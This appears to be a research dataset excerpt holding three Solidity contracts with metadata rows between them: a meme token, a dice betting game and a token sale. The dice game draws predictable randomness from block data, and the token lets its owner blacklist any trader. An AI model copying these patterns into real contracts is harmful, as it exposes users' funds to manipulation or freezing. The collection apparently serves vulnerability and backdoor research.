function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CommandPrompt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialTax=11;
uint256 private _finalTax=5;
uint256 private _reduceTaxAt=30;
uint256 private _preventSwapBefore=10;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"Command Prompt";
string private constant _symbol = unicode"CMD";
uint256 public _maxTxAmount = 2000000 * 10**_decimals;
uint256 public _maxWalletSize = 2000000 * 10**_decimals;
uint256 public _taxSwapThreshold=500000 * 10**_decimals;
uint256 public _maxTaxSwap=2000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if(!inSwap){
taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
}
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
}
function min(uint256 a, uint256 b) private view returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
receive() external payable {}
function manualSwap() external {
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| 344,376 | 11,377 |
13ff864505649980f786f617feb671428076b500b7645f67bc0e876b73e7245e
| 16,296 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7ff7c62260df44a8aaefe4969d416ea6225f447b.sol
| 4,268 | 15,099 |
pragma solidity >=0.4.22 <0.6.0;
interface CitizenInterface {
function addWinIncome(address _citizen, uint256 _value) external;
function getRef(address _address) external view returns(address);
function isCitizen(address _address) external view returns(bool);
function addGameEthSpendWin(address _citizen, uint256 _value) external;
function addGameEthSpendLose(address _citizen, uint256 _value) external;
function addGameTokenSpend(address _citizen, uint256 _value) external;
}
interface DAAInterface {
function pushDividend() external payable;
function payOut(address _winner, uint256 _unit, uint256 _value, uint256 _valuewin) external;
function pushGameRefIncome(address _sender,uint256 _unit, uint256 _value) external payable;
function citizenUseDeposit(address _citizen, uint _value) external;
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Helper {
using SafeMath for uint256;
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function validUsername(string _username)
public
pure
returns(bool)
{
uint256 len = bytes(_username).length;
// Im Raum [4, 18]
if ((len < 4) || (len > 18)) return false;
// Letzte Char != ' '
if (bytes(_username)[len-1] == 32) return false;
// Erste Char != '0'
return uint256(bytes(_username)[0]) != 48;
}
function getRandom(uint256 _seed, uint256 _range)
public
pure
returns(uint256)
{
if (_range == 0) return _seed;
return (_seed % _range);
}
}
contract DiceGame {
using SafeMath for uint256;
modifier registered(){
require(citizenContract.isCitizen(msg.sender), "must be a citizen");
_;
}
modifier onlyAdmin() {
require(msg.sender == devTeam1, "admin required");
_;
}
event BetAGame(uint256 totalPayout,
uint256 indexed histoyLen,
address indexed player,
uint8 prediction,
bool prediction_type,
uint8 result,
bool isHighRoller,
bool isRareWins,
bool isWin,
uint256 amount,
uint256 payout,
uint8 unit,
uint256 creationDate);
uint8 public decimals = 10;
uint256 public unitRate;
uint256 constant public MULTIPLIES = 985;
uint256 public HIGHROLLER = 8 ether;
uint256 public HIGHROLLERTOKEN = 8;
uint256 public MIN=0.006 ether;
uint256 public MAX=10 ether;
uint256 public MIN_TOKEN=1;
uint256 public MAX_TOKEN=10;
address devTeam1;
uint256 privateKey;
struct History{
address player;
uint8 prediction;
bool prediction_type;
uint8 result;
bool isHighRoller;
bool isRareWins;
bool isWin;
uint256 amount;
uint256 payout;
uint8 unit;
uint256 creationDate;
}
// History[] public gameHistory;
// mapping(address => History[]) public myHistory;
// History[] public isHighRollerHistory;
// History[] public isRareWinsHistory;
uint256 public totalPayout;
uint256 public histoyLen;
mapping(address=>uint256) public citizenSpendEth;
mapping(address=>uint256) public citizenSpendToken;
mapping(address=>uint256) public citizenSeed;
address[11] public mostTotalSpender;
mapping (address => uint256) public mostTotalSpenderId;
CitizenInterface public citizenContract;
DAAInterface public DAAContract;
constructor (address[3] _contract, string _key)
public
{
unitRate = 10 ** uint256(decimals);
HIGHROLLERTOKEN = HIGHROLLERTOKEN.mul(unitRate);
MIN_TOKEN = MIN_TOKEN.mul(unitRate);
MAX_TOKEN = MAX_TOKEN.mul(unitRate);
citizenContract = CitizenInterface(_contract[1]);
DAAContract = DAAInterface(_contract[0]);
devTeam1 = _contract[2];
privateKey = Helper.stringToUint(_key);
}
function setSeed(string _key) public registered() {
citizenSeed[msg.sender] = Helper.stringToUint(_key);
}
// function getMyHistoryLength(address _sender) public view returns(uint256){
// return myHistory[_sender].length;
// }
// function getGameHistoryLength() public view returns(uint256){
// return gameHistory.length;
// }
// function getIsHighRollerHistoryLength() public view returns(uint256){
// return isHighRollerHistory.length;
// }
// function getIsRareWinsHistoryLength() public view returns(uint256){
// return isRareWinsHistory.length;
// }
function sortMostSpend(address _citizen) public payable {
uint256 citizen_spender = citizenSpendEth[_citizen];
uint256 i=1;
while (i<11) {
if (mostTotalSpender[i]==0x0||(mostTotalSpender[i]!=0x0&&citizenSpendEth[mostTotalSpender[i]]<citizen_spender)){
if (mostTotalSpenderId[_citizen]!=0&&mostTotalSpenderId[_citizen]<i){
break;
}
if (mostTotalSpenderId[_citizen]!=0){
mostTotalSpender[mostTotalSpenderId[_citizen]]=0x0;
}
address temp1 = mostTotalSpender[i];
address temp2;
uint256 j=i+1;
while (j<11&&temp1!=0x0){
temp2 = mostTotalSpender[j];
mostTotalSpender[j]=temp1;
mostTotalSpenderId[temp1]=j;
temp1 = temp2;
j++;
}
mostTotalSpender[i]=_citizen;
mostTotalSpenderId[_citizen]=i;
break;
}
i++;
}
}
function addToHistory(address _sender,uint8 _prediction,bool _prediction_type, uint8 _result,bool _isWin, uint256 _amount, uint256 _payout, uint8 _unit) private{
History memory _history;
_history.player = _sender;
_history.prediction = _prediction;
_history.prediction_type = _prediction_type;
_history.result = _result;
_history.isWin = _isWin;
_history.amount = _amount;
_history.payout = _payout;
_history.unit = _unit;
_history.creationDate = now;
uint256 tempRareWin;
if (_prediction_type){
tempRareWin = _prediction;
}else{
tempRareWin = 99-_prediction;
}
if (_isWin==true&&tempRareWin<10) _history.isRareWins = true;
if ((_unit==0&&_amount>HIGHROLLER)||(_unit==1&&_amount>HIGHROLLERTOKEN)) _history.isHighRoller = true;
histoyLen = histoyLen+1;
// gameHistory.push(_history);
// myHistory[_sender].push(_history);
// if (_history.isHighRoller) isHighRollerHistory.push(_history);
// if (_history.isHighRoller) isRareWinsHistory.push(_history);
emit BetAGame(totalPayout, histoyLen, _sender, _prediction, _prediction_type, _result, _history.isHighRoller, _history.isRareWins, _isWin, _amount, _payout, _unit, _history.creationDate);
}
function betByEth(bool _method,uint8 _prediction) public payable registered() {
address _sender = msg.sender;
uint256 _value = msg.value;
require(_value>=MIN&&_value<=MAX);
// _method = True is roll under
// _method = False is roll over
uint64 _seed = getSeed();
uint8 _winnumber = uint8(Helper.getRandom(_seed, 100));
uint256 _valueForRef = _value*15/1000;
uint256 _win_value;
if(_method){
require(_prediction>0&&_prediction<96);
citizenSpendEth[_sender] = _value.add(citizenSpendEth[_sender]);
DAAContract.pushDividend.value(_value)();
DAAContract.pushGameRefIncome(_sender,1,_valueForRef);
if (_winnumber<_prediction){
_win_value = _value.mul(MULTIPLIES).div(10).div(_prediction);
// citizenContract.addGametEthSpendWin(_sender,_value);
DAAContract.payOut(_sender,0,_win_value,_value);
totalPayout = totalPayout.add(_win_value);
addToHistory(_sender,_prediction,_method,_winnumber,true,_value,_win_value,0);
} else {
citizenContract.addGameEthSpendLose(_sender,_value);
addToHistory(_sender,_prediction,_method,_winnumber,false,_value,0,0);
}
}else{
require(_prediction>3&&_prediction<99);
citizenSpendEth[_sender] = _value.add(citizenSpendEth[_sender]);
DAAContract.pushDividend.value(_value)();
DAAContract.pushGameRefIncome(_sender,1,_valueForRef);
if (_winnumber>_prediction){
_win_value = _value.mul(MULTIPLIES).div(10).div(99-_prediction);
// citizenContract.addGametEthSpendWin(_sender,_value);
DAAContract.payOut(_sender,0,_win_value,_value);
totalPayout = totalPayout.add(_win_value);
addToHistory(_sender,_prediction,_method,_winnumber,true,_value,_win_value,0);
} else {
citizenContract.addGameEthSpendLose(_sender,_value);
addToHistory(_sender,_prediction,_method,_winnumber,false,_value,0,0);
}
}
if (histoyLen%50==0){
sortMostSpend(_sender);
}
}
function betByToken(bool _method,uint8 _prediction, uint256 _value) public registered() {
address _sender = msg.sender;
DAAContract.citizenUseDeposit(_sender, _value);
require(_value>=MIN_TOKEN&&_value<=MAX_TOKEN);
// _method = True is roll under
// _method = False is roll over
uint64 _seed = getSeed();
uint8 _winnumber = uint8(Helper.getRandom(_seed, 100));
uint256 _valueForRef = _value*15/1000;
uint256 _win_value;
if(_method){
require(_prediction>0&&_prediction<96);
citizenSpendToken[_sender] = _value.add(citizenSpendToken[_sender]);
citizenContract.addGameTokenSpend(_sender,_value);
DAAContract.pushGameRefIncome(_sender,0,_valueForRef);
if (_winnumber<_prediction){
_win_value = _value.mul(MULTIPLIES).div(10).div(_prediction);
DAAContract.payOut(_sender,1,_win_value,_value);
addToHistory(_sender,_prediction,_method,_winnumber,true,_value,_win_value,1);
} else {
addToHistory(_sender,_prediction,_method,_winnumber,false,_value,0,1);
}
}else{
require(_prediction>3&&_prediction<99);
citizenSpendToken[_sender] = _value.add(citizenSpendToken[_sender]);
citizenContract.addGameTokenSpend(_sender,_value);
DAAContract.pushGameRefIncome(_sender,0,_valueForRef);
if (_winnumber>_prediction){
_win_value = _value.mul(MULTIPLIES).div(10).div(99-_prediction);
DAAContract.payOut(_sender,1,_win_value,_value);
addToHistory(_sender,_prediction,_method,_winnumber,true,_value,_win_value,1);
} else {
addToHistory(_sender,_prediction,_method,_winnumber,false,_value,0,1);
}
}
}
function updateHIGHROLLER(uint256 _value) onlyAdmin() public{
HIGHROLLER = _value;
}
function updateHIGHROLLERTOKEN(uint256 _value) onlyAdmin() public{
HIGHROLLERTOKEN = _value;
}
function updateMinEth(uint256 _value) onlyAdmin() public{
MIN = _value;
}
function updateMaxEth(uint256 _value) onlyAdmin() public {
MAX = _value;
}
function updateMinToken(uint256 _value) onlyAdmin() public{
MIN_TOKEN = _value;
}
function updateMaxToken(uint256 _value) onlyAdmin() public{
MAX_TOKEN = _value;
}
function getSeed()
public
view
returns (uint64)
{
if (citizenSeed[msg.sender]==0){
return uint64(keccak256(abi.encodePacked(block.timestamp,block.difficulty, msg.sender, privateKey)));
}
return uint64(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender, citizenSeed[msg.sender])));
}
}
| 207,066 | 11,378 |
28cb4c464eb1a121f5a54a121835babd41afae22a4f056368ae323e2a4fe7a65
| 15,901 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xe638dc39b6adbee8526b5c22380b4b45daf46d8e.sol
| 3,454 | 13,499 |
pragma solidity ^0.4.20;
// ----------------------------------------------------------------------------
//
// GZR 'Gizer Gaming' token public sale contract
//
// For details, please visit: http://www.gizer.io
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
//
// SafeMath
//
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
// ----------------------------------------------------------------------------
//
// Owned contract
//
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
mapping(address => bool) public isAdmin;
// Events ---------------------------
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
event AdminChange(address indexed _admin, bool _status);
// Modifiers ------------------------
modifier onlyOwner { require(msg.sender == owner); _; }
modifier onlyAdmin { require(isAdmin[msg.sender]); _; }
// Functions ------------------------
function Owned() public {
owner = msg.sender;
isAdmin[owner] = true;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0x0));
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function addAdmin(address _a) public onlyOwner {
require(isAdmin[_a] == false);
isAdmin[_a] = true;
AdminChange(_a, true);
}
function removeAdmin(address _a) public onlyOwner {
require(isAdmin[_a] == true);
isAdmin[_a] = false;
AdminChange(_a, false);
}
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
// Events ---------------------------
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// Functions ------------------------
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20
//
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
// Functions ------------------------
function totalSupply() public view returns (uint) {
return tokensIssuedTotal;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _amount) public returns (bool success) {
// amount sent cannot exceed balance
require(balances[msg.sender] >= _amount);
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint _amount) public returns (bool success) {
// approval amount cannot exceed the balance
require(balances[msg.sender] >= _amount);
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
// balance checks
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ----------------------------------------------------------------------------
//
// GZR public token sale
//
// ----------------------------------------------------------------------------
contract GizerToken is ERC20Token {
uint constant E6 = 10**6;
string public constant name = "Gizer Gaming Token";
string public constant symbol = "GZR";
uint8 public constant decimals = 6;
address public wallet;
address public redemptionWallet;
address public gizerItemsContract;
uint public constant DATE_ICO_START = 1521122400; // 15-Mar-2018 14:00 UTC 10:00 EST
uint public constant TOKEN_SUPPLY_TOTAL = 10000000 * E6;
uint public constant TOKEN_SUPPLY_CROWD = 6112926 * E6;
uint public constant TOKEN_SUPPLY_OWNER = 3887074 * E6; // 2,000,000 tokens reserve
// 1,887,074 presale tokens
uint public constant MIN_CONTRIBUTION = 1 ether / 100;
uint public constant TOKENS_PER_ETH = 1000;
uint public constant DATE_TOKENS_UNLOCKED = 1539180000; // 10-OCT-2018 14:00 UTC 10:00 EST
uint public date_ico_end = 1523368800; // 10-Apr-2018 14:00 UTC 10:00 EST
uint public tokensIssuedCrowd = 0;
uint public tokensIssuedOwner = 0;
uint public tokensIssuedLocked = 0;
uint public etherReceived = 0; // does not include presale ethers
mapping(address => uint) public etherContributed;
mapping(address => uint) public tokensReceived;
mapping(address => uint) public locked;
// Events ---------------------------
event WalletUpdated(address _newWallet);
event GizerItemsContractUpdated(address _GizerItemsContract);
event RedemptionWalletUpdated(address _newRedemptionWallet);
event DateIcoEndUpdated(uint _unixts);
event TokensIssuedCrowd(address indexed _recipient, uint _tokens, uint _ether);
event TokensIssuedOwner(address indexed _recipient, uint _tokens, bool _locked);
event ItemsBought(address indexed _recipient, uint _lastIdx, uint _number);
// Basic Functions ------------------
function GizerToken() public {
require(TOKEN_SUPPLY_OWNER + TOKEN_SUPPLY_CROWD == TOKEN_SUPPLY_TOTAL);
wallet = owner;
redemptionWallet = owner;
}
function () public payable {
buyTokens();
}
// Information Functions ------------
function atNow() public view returns (uint) {
return now;
}
function tradeable() public view returns (bool) {
if (atNow() > date_ico_end) return true ;
return false;
}
function availableToMint() public view returns (uint available) {
if (atNow() <= date_ico_end) {
available = TOKEN_SUPPLY_OWNER.sub(tokensIssuedOwner);
} else {
available = TOKEN_SUPPLY_TOTAL.sub(tokensIssuedTotal);
}
}
function unlockedTokens(address _account) public view returns (uint _unlockedTokens) {
if (atNow() <= DATE_TOKENS_UNLOCKED) {
return balances[_account] - locked[_account];
} else {
return balances[_account];
}
}
// Owner Functions ------------------
function setWallet(address _wallet) public onlyOwner {
require(_wallet != address(0x0));
wallet = _wallet;
WalletUpdated(_wallet);
}
function setRedemptionWallet(address _wallet) public onlyOwner {
require(_wallet != address(0x0));
redemptionWallet = _wallet;
RedemptionWalletUpdated(_wallet);
}
function setGizerItemsContract(address _contract) public onlyOwner {
require(_contract != address(0x0));
gizerItemsContract = _contract;
GizerItemsContractUpdated(_contract);
}
function extendIco(uint _unixts) public onlyOwner {
require(_unixts > date_ico_end);
require(_unixts < 1530316800); // must be before 30-JUN-2018
date_ico_end = _unixts;
DateIcoEndUpdated(_unixts);
}
function mintTokens(address _account, uint _tokens) public onlyOwner {
// check token amount
require(_tokens <= availableToMint());
// update
balances[_account] = balances[_account].add(_tokens);
tokensIssuedOwner = tokensIssuedOwner.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
// log event
Transfer(0x0, _account, _tokens);
TokensIssuedOwner(_account, _tokens, false);
}
function mintTokensLocked(address _account, uint _tokens) public onlyOwner {
// check token amount
require(_tokens <= availableToMint());
// update
balances[_account] = balances[_account].add(_tokens);
locked[_account] = locked[_account].add(_tokens);
tokensIssuedOwner = tokensIssuedOwner.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
tokensIssuedLocked = tokensIssuedLocked.add(_tokens);
// log event
Transfer(0x0, _account, _tokens);
TokensIssuedOwner(_account, _tokens, true);
}
function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
// Private functions ----------------
function buyTokens() private {
// basic checks
require(atNow() > DATE_ICO_START && atNow() < date_ico_end);
require(msg.value >= MIN_CONTRIBUTION);
// check token volume
uint tokensAvailable = TOKEN_SUPPLY_CROWD.sub(tokensIssuedCrowd);
uint tokens = msg.value.mul(TOKENS_PER_ETH) / 10**12;
require(tokens <= tokensAvailable);
// issue tokens
balances[msg.sender] = balances[msg.sender].add(tokens);
// update global tracking variables
tokensIssuedCrowd = tokensIssuedCrowd.add(tokens);
tokensIssuedTotal = tokensIssuedTotal.add(tokens);
etherReceived = etherReceived.add(msg.value);
// update contributor tracking variables
etherContributed[msg.sender] = etherContributed[msg.sender].add(msg.value);
tokensReceived[msg.sender] = tokensReceived[msg.sender].add(tokens);
// transfer Ether out
if (this.balance > 0) wallet.transfer(this.balance);
// log token issuance
TokensIssuedCrowd(msg.sender, tokens, msg.value);
Transfer(0x0, msg.sender, tokens);
}
// ERC20 functions ------------------
function transfer(address _to, uint _amount) public returns (bool success) {
require(tradeable());
require(unlockedTokens(msg.sender) >= _amount);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(tradeable());
require(unlockedTokens(_from) >= _amount);
return super.transferFrom(_from, _to, _amount);
}
// Bulk token transfer function -----
function transferMultiple(address[] _addresses, uint[] _amounts) external {
require(tradeable());
require(_addresses.length == _amounts.length);
require(_addresses.length <= 100);
// check token amounts
uint tokens_to_transfer = 0;
for (uint i = 0; i < _addresses.length; i++) {
tokens_to_transfer = tokens_to_transfer.add(_amounts[i]);
}
require(tokens_to_transfer <= unlockedTokens(msg.sender));
// do the transfers
for (i = 0; i < _addresses.length; i++) {
super.transfer(_addresses[i], _amounts[i]);
}
}
// Functions to convert GZR to Gizer items -----------
function buyItem() public returns (uint idx) {
super.transfer(redemptionWallet, E6);
idx = mintItem(msg.sender);
// event
ItemsBought(msg.sender, idx, 1);
}
function buyMultipleItems(uint8 _items) public returns (uint idx) {
// between 0 and 100 items
require(_items > 0 && _items <= 100);
// transfer GZR tokens to redemption wallet
super.transfer(redemptionWallet, _items * E6);
// mint tokens, returning indexes of first and last item minted
for (uint i = 0; i < _items; i++) {
idx = mintItem(msg.sender);
}
// event
ItemsBought(msg.sender, idx, _items);
}
function mintItem(address _owner) internal returns(uint idx) {
GizerItemsInterface g = GizerItemsInterface(gizerItemsContract);
idx = g.mint(_owner);
}
}
// ----------------------------------------------------------------------------
